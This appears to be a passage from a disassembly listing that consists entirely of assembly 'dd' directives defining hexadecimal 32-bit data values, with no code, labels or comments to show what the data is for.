		dd 195136B2h, 59F280E9h, 4EBC9965h, 9EF92D2Dh, 1CC45EB3h
		dd 4103DF5Bh, 486A036Eh, 5E8B706Ah, 4A319A4Bh, 5312289Dh
		dd 3963A667h, 1D505D4Fh, 3F15C5B5h, 0BF5963C3h,	0DFE7F326h
		dd 6BF006B8h, 7AF0A050h, 9C32FFFDh, 3F9E153Bh, 0AE3FCA0Ch
		dd 2A86C89Ch, 90FA7835h, 535D3571h, 0D5FB2C05h,	0AF3C818Ch
		dd 31F8AD3Dh, 610F3783h, 851D8ED9h, 488FD0F0h, 0E07C3E8h
		dd 14906901h, 410E000Fh, 0EDD37F4Dh, 6E4F8B93h,	98D038BDh
		dd 45C7272Eh, 0C521C341h, 92365154h, 29F5D26Bh,	4D01A567h
		dd 8DC5DAB7h, 682F0D98h, 9D2BA3B5h, 8EE863C1h, 1A3CFE1Dh
		dd 75A3D879h, 43C01881h, 0BFD951E5h, 5620C388h,	9B250816h
		dd 9D5D809Bh, 0C4583DFFh, 67657D3Ch, 37FD494Bh,	1AF8CDC4h
		dd 27B8B72Dh, 5BEC8775h, 68C12AA9h, 61A351A1h, 7AC2EA62h
		dd 3A2F4973h, 0BCCF91CEh, 9C3F15AFh, 0A19118B6h, 90BB677Bh
		dd 9B9AA0F2h, 133B367Fh, 0BA1245BCh, 8D20A79Ah,	2B97CCA2h
		dd 0A3240FD9h, 9001911Dh, 3F09A1DCh, 93187CBBh,	0EDD739B9h
		dd 2CA5D209h, 84E74D10h, 0E942362h, 10522670h, 11F92C2Bh
		dd 0B135B6F8h, 3C72A5DDh, 8AFEE903h, 2368C35h, 0A9F0227Bh
		dd 0EBF33FB6h, 866F607Ah, 94670C4Bh, 0EE9F8C56h, 4E31E9D5h
		dd 3EEE3B32h, 8A111FA2h, 0C1599E48h, 0AA486F11h, 0A7BBCD44h
		dd 0F9309BAEh, 33BF734Ah, 7FBD0ADEh, 7DF9EC9Ch,	0DC251F14h
		dd 0CC26F623h, 9940F112h, 7B32DFC6h, 5543B39Dh,	8C190403h
		dd 78414D7Ch, 9A254B0Eh, 0C1EF4EA0h, 0EF086C4h,	0B9D5F56Fh
		dd 8C3F490Eh, 0A64DEF42h, 0AED0CDD9h, 20BBE15Dh, 0A6D00B2Eh
		dd 6332FD47h, 493B41B2h, 0F23C397Ch, 0C1701D27h, 0EF178807h
		dd 6B850256h, 0FE070449h, 38F72A1h, 6515452Bh, 246DF731h
		dd 0A7FFACE4h, 0ACB26E3Ch, 2CD50081h, 42FE9885h, 0A9A93C68h
		dd 77383CC4h, 0E518FFA9h, 0B8F8CF53h, 0B73DC190h, 0D0DEB8DEh
		dd 569EE0C0h, 0FE06495Eh, 471D26E8h, 2BACDF1h, 126EBB0Ah
		dd 8AB109F1h, 0C30733E8h, 8587A9E7h, 54B07674h,	12E34F82h
		dd 6FCA88Dh, 3E613C1Eh,	0FACAA726h, 59C3A7C5h, 41023731h
		dd 56CEA622h, 0AF6B2444h, 0ACF2BE13h, 8E7F826Ch, 0EE3B0DB2h
		dd 76DBC48Dh, 0FF483730h, 0E5842094h, 0A0A7FFB4h, 12C03810h
		dd 8731A718h, 0B9702B4Dh, 4274A972h, 346D1F71h,	0DA85FD00h
		dd 0CF3EE058h, 0DDCFF9DFh, 0AE104834h, 841B141Ah, 0FE2EC6B4h
		dd 0AAE4A59Dh, 90058EC3h, 5E3141F9h, 7B0E4C3Ah,	12BD111Dh
		dd 41440D77h, 4AFFF7C2h, 1C196658h, 6824B1B3h, 0DCF9C0ECh
		dd 45813D3Dh, 67AC33C4h, 832086E4h, 7EA33A1Dh, 0B7E21003h
		dd 5CE74073h, 463ED279h, 0B3634D59h, 59FAC6Fh, 0AF651F81h
		dd 0DE141576h, 1935EFDDh, 0A9413527h, 25116720h, 0CE202E75h
		dd 0A286C13Bh, 3258120Fh, 7ABE3951h, 8208DC0Fh,	60217D5Ah
		dd 0E4EAAAB1h, 0EE03387h, 4E9BE027h, 1F48A7A2h,	7EDDEB40h
		dd 159E205h, 4293BBF3h,	0C20CE30Fh, 94FAF0B1h, 0E4349F5Dh
		dd 0B87E1A4Ah, 5A26F8A1h, 6A9D2C86h, 0E791EFBDh, 69DEB57Eh
		dd 7159BDC1h, 33223B46h, 0DB211781h, 43EAE1h, 8FF0E8DCh
		dd 66AE6641h, 0DEAE29EDh, 6C5200C6h, 454BCCFFh,	0B5D10EDAh
		dd 0AC3EEBB4h, 0B398E2B4h, 84D22674h, 5CFFD5E0h, 0B7C29D03h
		dd 5536EC6Dh, 1EEBDB6h,	464DAB16h, 194A5E5h, 99F39DA4h
		dd 0ECBF55E5h, 0BA37C529h, 0BCA7136Fh, 0D3373566h, 8D8214FBh
		dd 6D412D91h, 0D2782674h, 2EEF5400h, 702A9EDh, 0F4EB49ABh
		dd 0EBB7E0D9h, 0B58266F5h, 471BC488h, 0BDCB4A07h, 0D33FDC23h
		dd 8296B6A3h, 77FF6FEDh, 0DC19250Ch, 92B37CB9h,	3C7E29ACh
		dd 0D91D90Ah, 6AA23F59h, 0A1FB4AF5h, 66257146h,	0A30E71CEh
		dd 0AE20E79Ch, 206FB959h, 965EF10Fh, 1657E263h,	0C78FF0C0h
		dd 45774A2Dh, 0B3FD8D1Bh, 0D7C17FC8h, 217399C0h, 0C601DF5Eh
		dd 0A33BE649h, 12BF199Ah, 9C30E55Eh, 0E78B0610h, 0B723CB09h
		dd 0F7196C39h, 0AC3453EAh, 0A95ABDE0h, 191566CEh, 0D11EF875h
		dd 1B30E893h, 98BD59Ah,	0A9FC5BA2h, 99C58239h, 0A865AB93h
		dd 3FADB7BDh, 4EE22009h, 5E8395E8h, 4CE1D9E3h, 0A03862AFh
		dd 19546106h, 82FF29A4h, 0DA22000Bh, 92F9B4E2h,	7EF611Ch
		dd 0DCA3E7F7h, 6ABB7FADh
		dd 0D3738A10h, 7352DCEDh, 0B63E65E3h, 82053538h, 0AD5EB56Bh
		dd 0E3D823FDh, 0B2F62269h, 0E5362F3Eh, 69F8AC0Dh, 234370BEh
		dd 9A105D7Ch, 1A33B538h, 16E5FC24h, 0E285DDDh, 0A5600A45h
		dd 0D376E4D4h, 0B1E9A660h, 1C0E8ABh, 0F2BB5033h, 2B3CC9B4h
		dd 68C7712Dh, 655993E4h, 55F01105h, 0A2D865A0h,	0B9D18EBEh
		dd 8AF86997h, 0CF490C3Fh, 6B1AE57Eh, 401220B6h,	715BD0Fh
		dd 47394CB4h, 7E4A3510h, 17F54A03h, 2AC7E95Ah, 31F505A8h
		dd 0D1EE3F08h, 0A47E742Ah, 31E8E2BCh, 0A1A7ADC6h, 979870E6h
		dd 0A4032638h, 0CEA8D6A9h, 3F9B89CEh, 21D53480h, 0CB32C62Eh
		dd 0BF7DCA8Ch, 0AAE6228Eh, 4112537Fh, 1A73E09Dh, 5B4645D6h
		dd 71B9FA29h, 9114CF91h, 881286E3h, 483EEE5Ah, 5E9C339Ch
		dd 61B18BBEh, 916B598Dh, 3ADA72E3h, 76B50890h, 0DB1A47A9h
		dd 0FD0744ABh, 2F313146h, 0F4417935h, 42CEA6A1h, 0EA097095h
		dd 1E20D269h, 9DCE2B6Bh, 5C8F22A7h, 7CC7509Ah, 6DA433AFh
		dd 0DC5BE388h, 5DCE293Ah, 609ED7B8h, 9018018Eh,	9BFB357Eh
		dd 0C02368D6h, 0EC2A9BAFh, 1BEE0053h, 0DB183033h, 83079A44h
		dd 97EE6F5Eh, 0FD3CCC07h, 68F19A1Bh, 823B0299h,	0E2802726h
		dd 0B79DE7E5h, 49A17F5Bh, 0D388D73h, 250AA6BAh,	21026916h
		dd 7F25347Eh, 96142B51h, 52F63053h, 0F623FBEDh,	5CAF19B9h
		dd 6A5B2A2Eh, 9F012E87h, 6180D308h, 6449EF15h, 5C24811Eh
		dd 43EA48CBh, 0D34AB496h, 0F938438Bh, 0F8D7EC8Ah, 4A375B63h
		dd 13FAA3B6h, 6483B753h, 0D7E69C94h, 85BBC701h,	4DFFA80Eh
		dd 13F05CA6h, 8A3C5900h, 0ADAF0D97h, 542391B1h,	1C98013Eh
		dd 3647915Fh, 1FDEF9F6h, 1AF03507h, 10A66001h, 4D353560h
		dd 1DDCC820h, 225DAF7Ah, 97CA7BAh, 0E819B03Ch, 56C5A3Ah
		dd 982C084Ah, 0A3BB2F65h, 0C4385825h, 0E1553DFEh, 220535A4h
		dd 26C32461h, 4403BC38h, 4AD96B5Ah, 2676DAA3h, 56065973h
		dd 2061C75Ah, 71143763h, 0EE1AD12h, 8F5F3D62h, 553950A4h
		dd 0D7D2A5FEh, 94E26B86h, 24D30EB5h, 0AE035AEBh, 2ECAADB6h
		dd 0E40B535h, 723FCB06h, 66CFE27Dh, 3D81DBCCh, 833032FDh
		dd 0C0734925h, 0E259F465h, 3D4EF438h, 0BBD57289h, 6B39ED00h
		dd 92FEC0F3h, 47F88E9Ah, 5C068557h, 9F3B7808h, 4D54E49Eh
		dd 0B600E1ABh, 52E47E93h, 2D77CB95h, 5ED6ADE9h,	57F2A849h
		dd 0B0F24A18h, 0E78751C5h, 0B2AB6AEDh, 0E4B03655h, 57ACFD67h
		dd 0F5C8554h, 9148EF10h, 6DE82266h, 7DF7091Dh, 58DA4383h
		dd 0C63FFBD3h, 85212D48h, 93033A43h, 0B6F9F584h, 6B208565h
		dd 0BA40A4A4h, 0B125ECA3h, 2632A4B1h, 38F44900h, 1FC05B50h
		dd 3F24AAC4h, 2A2045Ch,	0BC5EAC18h, 6464487Ch, 14B0E730h
		dd 0BAFF8FF2h, 0A8DE8653h, 828EDB87h, 0FC491641h, 6BAD8206h
		dd 0BADAD186h, 18FA16ECh, 0F908289Bh, 11DBD207h, 0B53E7DC3h
		dd 0BF4CE010h, 2A764984h, 0BE0B42A6h, 0F6BE6D53h, 0AD333F94h
		dd 0E4114ACDh, 0D830A457h, 8372D318h, 0A8ADCF11h, 34E07DD7h
		dd 40ED1B61h, 1F50F490h, 419CAE4Ah, 0F2FCA18Eh,	0A5CE5E6Ah
		dd 0A7FF5F53h, 18050DBFh, 0CD530501h, 0A56F1A7Bh, 0E3680726h
		dd 0BC945352h, 58FDB618h, 0E2DFA324h, 0C15EB16Ch, 508EE13Dh
		dd 28D50239h, 446E7AB1h, 0ACB29D85h, 51680CEEh,	0F93624D2h
		dd 0E5EC9D11h, 24DA9681h, 3AB28511h, 9ECE10D1h,	733C4BBDh
		dd 2F0B338h, 52E8ACE6h,	0ECAD5157h, 5CD3C713h, 75B6F36h
		dd 0A6442E3Ch, 9C7D8A3Ch, 64B7FF21h, 0D137DDA9h, 58DA5F7Bh
		dd 0A08DE894h, 10295292h, 453E1307h, 13ED6266h,	1C541D13h
		dd 19421CC2h, 1E1E22C2h, 0FD6FE47Bh, 0FD5B243Ah, 1D2DADB0h
		dd 29262CAAh, 0AF3AC177h, 0A85A3CD1h, 474BF5B4h, 0E5F56EAFh
		dd 0CCBE6DC5h, 0C436DFC0h, 47DCC4B9h, 61F8A71h,	0A6EA85B9h
		dd 0AF36FF31h, 0A1403401h, 0E409FFF4h, 4EB79128h, 1D4E0A7Ch
		dd 96529DBBh, 37B2DE62h, 643935FFh, 62B95E10h, 57D6ED50h
		dd 64AE88E6h, 1D362F60h, 0B582B22h, 7331B168h, 0BBE62924h
		dd 1F5EB068h, 2D07EB45h, 1CBFB13Eh, 0B8B7E46Eh,	0BE3AA363h
		dd 20CBB668h, 572231BDh, 223B3033h, 2445BD3Bh, 0CB3B4AF2h
		dd 0A667A9F2h, 85E486EAh, 6B285A1Ch, 3D0D4040h,	0EC184D7Ch
		dd 3CFB2844h, 77E9DBD5h, 1C54CD30h, 5332C998h, 0F49A4EB0h
		dd 0A0A3990Fh, 0B254E811h, 0DAFF6999h, 0E7CD1E5h, 0AA0A2FA1h
		dd 3DB75C10h, 0A2CCC77Ch, 0DB083FC5h, 52D132C4h, 4B60F7BAh
		dd 0DD5D2C24h, 0EAE9CBF2h, 0FA24F7AAh, 0F1600A0h, 5312C540h
		dd 0AC6E311Ah, 9BD430D7h, 345AF10Eh, 1576E747h,	8AFCF69Fh
		dd 5F76E7E1h, 0A93B36B8h, 0A0CF0169h, 11923BAAh, 6DD892ABh
		dd 83220DA1h, 98AFA813h, 32E9812Ah, 8B698Dh, 800A9FD4h
		dd 6ACAACA1h, 0E8018BFh, 9D551AB3h, 82ECEFA4h, 3958A135h
		dd 15AC79F0h, 0C8EB99Ah, 56F598E8h, 75BFD0CBh, 25074510h
		dd 1B9B5550h, 823B48E5h, 6B984054h, 5CFDE43Ah, 53D10665h
		dd 82EC3870h, 0F2B9DC0Fh, 5A54EC0Ch, 6F20BDFEh,	39D9E5AFh
		dd 0A0EECD2Bh, 32BE9356h, 0FA0CD880h, 88317D36h, 9DAD2D67h
		dd 0E3CFD1A8h, 1F9CC427h, 1258495Dh, 0A6C1A3D5h, 538307D3h
		dd 0C4D2A920h, 0DDE80D04h, 0EB579466h, 0EC9A40E7h, 3F9E64A4h
		dd 13B0440Ch, 62B1F52Eh, 3DB50BC4h, 98B9A910h, 39EF79C8h
		dd 53AD4795h, 0A805F207h, 6432F473h, 0F3384B51h, 363A7C3Dh
		dd 0D6ECE821h, 3CB87E45h, 63325D64h, 0CD1538C3h, 0F8BCEA75h
		dd 0B25D198Bh, 0AED6B906h, 0FE8CE901h, 3D278475h, 0CE4D5485h
		dd 1CA8F7CBh, 5C663DCFh, 6499003Ch, 0E39E0E09h,	0CE8F1CFEh
		dd 6DAE26EEh, 36A21FB2h, 52A3B36Bh, 24FE8565h, 5A43F147h
		dd 0D9395B73h, 83CDD5Ch, 22CE4AEEh, 0DC4341E3h,	24D3A13Bh
		dd 442CAEB5h, 5D36E17Fh, 0E9583CF0h, 0A410FB8h,	5BFC5824h
		dd 5E580B6Bh, 0B93FFDB3h, 24052BCCh, 0B4C1588Bh, 882D1D01h
		dd 0BB777E4Ch, 672C2898h, 0E6CF7AB3h, 62418022h, 65336554h
		dd 0A815261Fh, 702F390Bh, 717B67AFh, 6B16ABC5h,	0C7070EA0h
		dd 0E22AE1CBh, 0AC861D3Bh, 0D42EFC3Ah, 2C3AD9E3h, 60BCB58Dh
		dd 65C49909h, 5C9F5965h, 92191432h, 31ADB121h, 0A1F95F87h
		dd 0BC80D90Dh, 575EB438h, 59E805h, 953AD6A2h, 335A9A0Eh
		dd 2E343EBEh, 0EB3655E3h, 0EDB94BBAh, 43F7597Ah, 9CBBE3B7h
		dd 60E92FFFh, 2347933Ah, 0C220A02Ch, 1AC1EB6Eh,	2538A8B6h
		dd 70E7E661h, 87435C6Bh, 0B3F1BD57h, 663C5382h,	62269545h
		dd 9E51E1B6h, 3F411417h, 886FF99Ch, 0BA84105Ch,	1A343EDDh
		dd 63C022FDh, 0D3E9B65Eh, 808FFA88h, 0C2325119h, 0B883FB9Eh
		dd 9919E558h, 22542A0Fh, 0C39CE8E3h, 0EFFB2B10h, 74F4FFE7h
		dd 4C67ED4Eh, 0C707094Dh, 9F496827h, 0B6F24B4Dh, 83BA233Dh
		dd 6077D736h, 0A6010D24h, 6B7AE1C1h, 53DCACE3h,	0A8CEAD47h
		dd 0AC0AE199h, 93F0DC4Dh, 465329BEh, 0A57E44FFh, 2A4A705Fh
		dd 5D3CE14Bh, 963AF607h, 99112A70h, 550F218Eh, 0CA10DD9Ah
		dd 1C3A0252h, 0A5C00B50h, 6F0B0C42h, 1516B670h,	0DCFEF778h
		dd 686F3758h, 0A6C76363h, 25C3C563h, 39EF2830h,	6E5962E3h
		dd 66F3D813h, 52BF2DDFh, 56EADDD3h, 0E1F8D904h,	0F9CC08D9h
		dd 593FC9ADh, 0F2C90AAFh, 1BA0778Fh, 5A9D76D2h,	73595FEEh
		dd 90F69BBAh, 0BFAC5B59h, 3ABCEC8Eh, 0C6E686EAh, 0EC49FA01h
		dd 49FE5586h, 0BB1592C0h
		dd 63DD498Ch, 660B096Ah, 0AB29E652h, 0B0F68F88h, 0E138EA0Bh
		dd 484E0281h, 44BF099Bh, 0BFEF7930h, 3CEEA14Bh,	0E03F9EC5h
		dd 3B3B2C7Fh, 2A9202B3h, 8526A09Bh, 0FCEFB483h,	4A4E84D7h
		dd 1E032E22h, 641743E7h, 3F9D8F49h, 0A63F9817h,	0F7C1B455h
		dd 293AA3EDh, 4826EC7Ah, 42CC3FE9h, 0A7E11C6Ch,	0BE85F328h
		dd 0F1B539CAh, 0C7B6A17Bh, 1AC1FF6Dh, 273DA9A0h, 0DBC5E13Dh
		dd 7AC53912h, 5A43293Ch, 7735ABA3h, 6C83F39Ch, 0F0D84D28h
		dd 0D5C6E8B5h, 0BF52E3CEh, 537213BBh, 9E53EF27h, 50C54D5Ah
		dd 8C22AB1Ah, 0A414C1B8h, 1839DDBDh, 0EB01CC58h, 7075B3FEh
		dd 0A6862C16h, 7B3AA9BAh, 0A8FADA3Dh, 0DDC1EC7Eh, 17471AC4h
		dd 0B2F210EBh, 0F234E598h, 290EB4A6h, 0F5BFED10h, 1B412024h
		dd 0BFD89C15h, 86AF9AFh, 2DFA625Eh, 184FB385h, 4C84782Ah
		dd 0EB2D49A6h, 0C436CD3Eh, 62BA30FDh, 0A0C07067h, 9F4FF725h
		dd 36963609h, 0A22C2B52h, 0FE375486h, 953FA262h, 99A9DAA2h
		dd 0E956984Fh, 91908AC0h, 7081E2A5h, 72151362h,	0C29E769Ch
		dd 0D63AA94Ah, 771F25E8h, 9117A8F3h, 63B75D65h,	6CC08AA1h
		dd 0AABAE9D9h, 4C8454D9h, 9CD1ED62h, 6364292Ah,	8EB7C01Bh
		dd 75B4B12Fh, 605DA136h, 64AFC0Fh, 6F44314Dh, 0E4E4C44Dh
		dd 0A0AC2A20h, 6706D952h, 9C5AF3BCh, 9E1BB0CFh,	0B4ECE4CCh
		dd 0DE3D356Fh, 1C43CB16h, 0DE6FB6E9h, 0B721F1A4h, 0A6991E9Eh
		dd 15F8262Ch, 4E061A4Ah, 0D2A34BB8h, 187DD794h,	0AFEF382Ah
		dd 99D8C464h, 304CA13Dh, 0D115C41Fh, 6FDEE4F4h,	15CB90E8h
		dd 0B602385Ch, 0EA2D2975h, 0BF9C709Dh, 3BAA6375h, 7D1FE10Ah
		dd 4137BABAh, 57B208B5h, 0B8C57C81h, 223EF8Fh, 8213A6A9h
		dd 0C6A22A4Dh, 2FEB8701h, 0ED4AF0Fh, 0FB8D84Fh,	3EB1A114h
		dd 0DBE456D3h, 52CA9932h, 7D0815C5h, 0EF8D2BB3h, 0B24770C9h
		dd 0F482FF94h, 6B08229Fh, 41023ACFh, 0D4832049h, 0C829A618h
		dd 3F374242h, 1BE04789h, 0B2CCB5ABh, 1FB7A994h,	3999C577h
		dd 0BF55EBE3h, 0B62AE314h, 8243E339h, 0D309AEBEh, 7131ED05h
		dd 5A8740A6h, 13204EBDh, 73052BFFh, 10093DF9h, 6AAA3B5Ch
		dd 0B01D82B6h, 1D2C3744h, 9DDB39BEh, 0B2DA8F46h, 7DBF8620h
		dd 30994926h, 9C43A896h, 70C0AA90h, 0AB3AAED4h,	0CF4F8978h
		dd 6EDD3409h, 25A007ADh, 6FC69F94h, 0D64C56F1h,	21FB055h
		dd 9BF006B5h, 0EAEEDBB4h, 0B0E8B25Dh, 64E5853Dh, 3264A9Ah
		dd 3A8E109Bh, 1D5D1F7Bh, 0CE649E2Dh, 8EF827E9h,	45C3E4D7h
		dd 95B158A9h, 0CFC3D34Fh, 891098AFh, 8343ABB2h,	2AB63F14h
		dd 0D80A455h, 0FB3BBC49h, 7B8E0BA6h, 42534BBAh,	0A6780A21h
		dd 714C436Ch, 79EECEADh, 181707EFh, 93C2013Ah, 867FAC4Dh
		dd 2512E206h, 0CDC62B9Dh, 0EC1030F8h, 4F58E5B3h, 23EFF796h
		dd 2E96CCh, 1A33A9F1h, 83597CA2h, 8C494EE4h, 8D63E686h
		dd 70E9792Ah, 7194B9CEh, 0E8F0EA12h, 434446D8h,	50FBAD54h
		dd 319973F9h, 88244D60h, 1B350695h, 0CE0374BDh,	8659E272h
		dd 8FCE2BFFh, 0CE4F2265h, 233DA1C1h, 0DA101149h, 22B5FA7Bh
		dd 33D3598Fh, 6F2D3497h, 5C1F05CEh, 733D6869h, 65300991h
		dd 4158546Eh, 0B9F39A53h, 0E2199539h, 36C1E891h, 0CAF4F6BDh
		dd 1D8380C7h, 7D2516B9h, 62C894E5h, 43528294h, 83C89C12h
		dd 0FC550670h, 9157EAB9h, 0FB64ED29h, 0A8AD5CECh, 59802BAEh
		dd 0AA07AE09h, 0EAE3A768h, 0BA60A22Ch, 1B73E609h, 7E8F0C11h
		dd 73A60E41h, 16C12596h, 0ADBA337Ah, 3B0AFE4Bh,	4ECA604h
		dd 7804A2B1h, 27892E10h, 553C4A25h, 7BA5A4FFh, 0B4FE83B7h
		dd 0C6C3ECD7h, 1FE758B1h, 66D5E0A9h, 701F0006h,	0B60FA85Dh
		dd 0B3BDA835h, 0B4DB293Eh, 205BD8D0h, 0C1F69D78h, 0C92FAA21h
		dd 94F07EF8h, 57FFC845h, 0D50EF304h, 0EC102B9Bh, 0B62639ECh
		dd 50B3E3h, 2CA5782Eh, 0EAAD56B7h, 9DA49C8Bh, 7CD22807h
		dd 0D12E345h, 16EF6D2Dh, 820BA1F1h, 0CA808086h,	6F3EE425h
		dd 833FA535h, 0DE537500h, 0D99D1D9Bh, 505AA73Dh, 4155DB27h
		dd 0FCA7A58Dh, 11D36316h, 307DDB5Eh, 85292F4Dh,	9E073BB4h
		dd 4C2E9D38h, 7C1E324Fh, 83F9F0D9h, 699EE98Ch, 8B271CEAh
		dd 9C93CEA0h, 1A835F0Fh, 85F1DC0Eh, 0A3CE493Fh,	0E156E7BBh
		dd 85322624h, 0F5DFA6BAh, 0BA514A21h, 31C7996Dh, 0AB40840Ch
		dd 1B026CAFh, 0DA3E1894h, 6A894371h, 94F68443h,	7841EB7Dh
		dd 0DD196F42h, 0ED6614ABh, 0E52FF7A6h, 0B7BA3313h, 0BF0CAB93h
		dd 8EDBB7ACh, 0AA232C42h, 0E4052842h, 42C511BEh, 7B45E081h
		dd 0A5770F80h, 0B82A8945h, 7D38B155h, 33BB9AE1h, 2EA74A95h
		dd 568DC860h, 8EEF35C0h, 8C43799Ch, 3E3D41EBh, 0BD3EE136h
		dd 0E2856B59h, 4FC56904h, 0E5C5412Bh, 0EA510B9Dh, 0A7A60495h
		dd 5753C800h, 0EC403033h, 0D45D77Ah, 0B44AE39Eh, 9E301E9Ah
		dd 0D96714BDh, 611A1226h, 0B4EC00A0h, 0EF322F1Ch, 8334AFC4h
		dd 9F12E967h, 0D33DEA21h, 9663B37Dh, 0A2778857h, 0ADCE6E20h
		dd 0C47934E3h, 2CA0DFF1h, 0D40AF0B1h, 5A9AC934h, 0E8C39C64h
		dd 1932E0DBh, 307E4DAFh, 913801A3h, 0A22FF62Fh,	41E9FEB0h
		dd 254378BBh, 75A61B9h,	0A80EFF6Ah, 567F7605h, 35F9AD86h
		dd 492D0396h, 2D4FE79Ah, 7D53A49Eh, 8E146056h, 46551857h
		dd 703055A1h, 0B50E40FAh, 0BA42144Fh, 0E1F697D9h, 0DED785BBh
		dd 4AFBFD2h, 68DF09C9h,	0C1AFF2BCh, 0A282293Ch,	744BAF20h
		dd 0CF5EC3Bh, 0A7783E92h, 22CEC6A4h, 11882A60h,	3005527Bh
		dd 42A2A97Dh, 0D6CAFB10h, 90F2D0EDh, 95923ACh, 0A0A6CB11h
		dd 0CC58B837h, 0EEEA3540h, 1B34DC21h, 0CDA5589Dh, 858BDD88h
		dd 0ADD48566h, 0A0AD9C5Dh, 47F0F18Dh, 33E69D04h, 0DD543F81h
		dd 0E43D3B9Dh, 0ACDA15D4h, 13F18E16h, 0E4D3D3CEh, 85F2E843h
		dd 1CA7612Eh, 0A1BBCC8h, 0B3DD8975h, 0C63A2A1Dh, 373A5D1Eh
		dd 833D873Eh, 0BA2D2C26h, 3E71CDDDh, 260AAD7Bh,	0A52D0266h
		dd 0BC1999C4h, 0FB98310h, 0C3F9ED67h, 0BF09FFC1h, 0E041578h
		dd 867C81E3h, 7026AD48h, 6E7AEC99h, 2FA27714h, 3DED0992h
		dd 68F88D61h, 315C4041h, 0BF572C30h, 8F154984h,	795BD7C9h
		dd 2EE1D3C6h, 0B2E61844h, 0A115086Ah, 66163B37h, 36A60121h
		dd 92AEF55h, 0E945965h,	0F6386602h, 226D0C24h, 92CAB9CEh
		dd 72ADB529h, 0D566F660h, 11EA8524h, 0A539132Ah, 0DD59A611h
		dd 0C9C5C4BDh, 2E1A20BFh, 7AEC415Ch, 70CF1B51h,	0AE1F63DEh
		dd 0D56CFF75h, 64DFB4F5h, 0FFE083F9h, 2FD0FFF9h, 3155C17Bh
		dd 0BCDEA8B4h, 30069565h, 82047A90h, 128CC671h,	73A3250Ah
		dd 0C993F76Dh, 7BCC0505h, 0A2BA536Ch, 270CB20Dh, 7F1F48A9h
		dd 0A645DD82h, 6AE13629h, 2C9489AAh, 96E85392h,	0D5974CDCh
		dd 0A70E0306h, 0AC16D488h, 7B1B5B08h, 0F33B9D71h, 2272A7B0h
		dd 89F01780h, 0EFC9CBD0h, 313897C4h, 82158C4Dh,	3E26183Dh
		dd 3909B920h, 8CA05F3Ch, 7AE4CCBEh, 11421953h, 95637D40h
		dd 26D9795Ch, 3BF0F432h, 18AAFD3Bh, 7E0A0B57h, 4D15DAA2h
		dd 0A29714FCh, 781F52A7h, 4ECE0AFh, 5EAAC4BCh, 37E2DC58h
		dd 523FD370h, 7043DB07h, 867C8032h, 58B92521h, 0F617F1D3h
		dd 96F3E646h, 68E33669h, 9BA675FBh, 5B4BA6BFh, 0F3B3C12h
		dd 0A93F2345h, 0FB7163C0h, 0DA72CD64h, 0BA638739h, 0AA8D43C7h
		dd 0E44B73DEh, 40929F0h, 0EED1FF40h, 4C9CFF5Eh,	127A2995h
		dd 0FE34353h, 6E471757h
		dd 0B015496Eh, 0F22258B7h, 99FF1BBFh, 0EF1728ACh, 5B682E89h
		dd 734C4F3Ch, 0AB28DDD5h, 761537A6h, 0BD343B65h, 6AB14D08h
		dd 9BD30E2h, 0DE86B24Dh, 0D95402A1h, 5113D5FCh,	41885257h
		dd 0AD8FFA84h, 68DA640Fh, 540EFC98h, 0D8039758h, 0BE725FB9h
		dd 0D3D36C8h, 0F9472BB1h, 92159C1Ch, 1270585Eh,	6E7DB3Ch
		dd 203AD788h, 6AD95E57h, 71FB2707h, 0E0EBDC04h,	0C01F65D2h
		dd 71EB6070h, 4CD88745h, 9E30FEB5h, 0CDE15F83h,	0F6B83712h
		dd 0DA8936BDh, 9E43A845h, 6AAC33D7h, 0A93B702Bh, 80406AEEh
		dd 406F67F4h, 0BB99664Bh, 42877FEBh, 8F25A8D7h,	0AE81E64Ah
		dd 3A3D3043h, 0BCF7F89h, 867C05BAh, 9B7FC5BEh, 9C76A6A2h
		dd 78E67642h, 0E70833B8h, 87B6014Ah, 7AF775B5h,	90E7C617h
		dd 75350BFEh, 2CCA710Bh, 15BBFFC3h, 24A34209h, 2C55B91Dh
		dd 9BFE3145h, 2D48B554h, 25A33138h, 2288F2FAh, 0E58468B5h
		dd 0C6135848h, 0E80828C2h, 0A7CE361Dh, 153759F2h, 2C7728BDh
		dd 74962D3Fh, 7913FB91h, 69953511h, 0A53CDC74h,	1FC0B730h
		dd 6A32C7E3h, 2CB9E022h, 4B11317Ah, 99250123h, 0B9FB52ABh
		dd 0AA24CE03h, 1C4B3FF8h, 1E7B0A4Eh, 992326FCh,	0A1BF73ADh
		dd 0B6CF96B1h, 9E44717Fh, 27063028h, 52DC5EA1h,	142937CFh
		dd 16216CE5h, 7886E893h, 786F1B90h, 0BAE8A593h,	5FF52475h
		dd 0A0194B78h, 50149255h, 3EEFF846h, 33A2F935h,	6B15496Eh
		dd 0B4F6E2B7h, 5326D977h, 5AC9952Eh, 54156EA4h,	9F55AD97h
		dd 827E2A9Ah, 0E84C585Ch, 2FB0739Ah, 0D57A3AADh, 59325E0Ch
		dd 0E9832006h, 33ABC7E2h, 270969D1h, 783101D8h,	0AE59ABF3h
		dd 0BEBD803Dh, 8C3B0BB4h, 0D774AA0Bh, 783FADB3h, 179AE244h
		dd 87933D37h, 7134AC2Eh, 66F737BDh, 3D5B2575h, 46C04FECh
		dd 0BC76AC86h, 5B4A6035h, 2E83F76Ah, 0E3442BC6h, 0F4C33DC8h
		dd 671957Bh, 75C13D77h,	6EAE0CBDh, 4A87198Dh, 9B110D3Ch
		dd 0FF8A0BFh, 2CCFC790h, 0C6758CBAh, 0C5E5FAA3h, 6A1894F2h
		dd 5B03345Fh, 0BF185842h, 547ECCD0h, 0A5AF08FCh, 9EE7FA0Ah
		dd 0C3BEB86Dh, 5B9B42E6h, 327AE6F6h, 7A6A88B9h,	1B6EAD9Ah
		dd 0F4194F57h, 9B857FADh, 0E8216972h, 51217A0Fh, 0C7072A9Dh
		dd 0B21F7E45h, 25D063FAh, 0BCD6A577h, 0F6CE1197h, 9CD85DCDh
		dd 91CFFA2Fh, 0DBEA2EB6h, 0F908009Fh, 0DCEC3629h, 0B7A2D2A6h
		dd 0A732F8A1h, 4BDD4A8Ah, 0C1650AE8h, 975B4B7Ah, 0C362FB2Ch
		dd 792A9355h, 8421130Ch, 8338EEB6h, 8412A88Ch, 0D9D57D6Eh
		dd 8E392F53h, 0FB1520BFh, 1B329D21h, 0AC639682h, 0C9184A8Ch
		dd 0B3440841h, 9C480D7Fh, 0FF8E6107h, 9CCFC6A9h, 90115D89h
		dd 97C0C270h, 8DF9CE93h, 0BE1BD4D6h, 734027E0h,	831BBB0Dh
		dd 979633E4h, 478D425Fh, 0A2EEDE81h, 77BB0643h,	9B3B6C14h
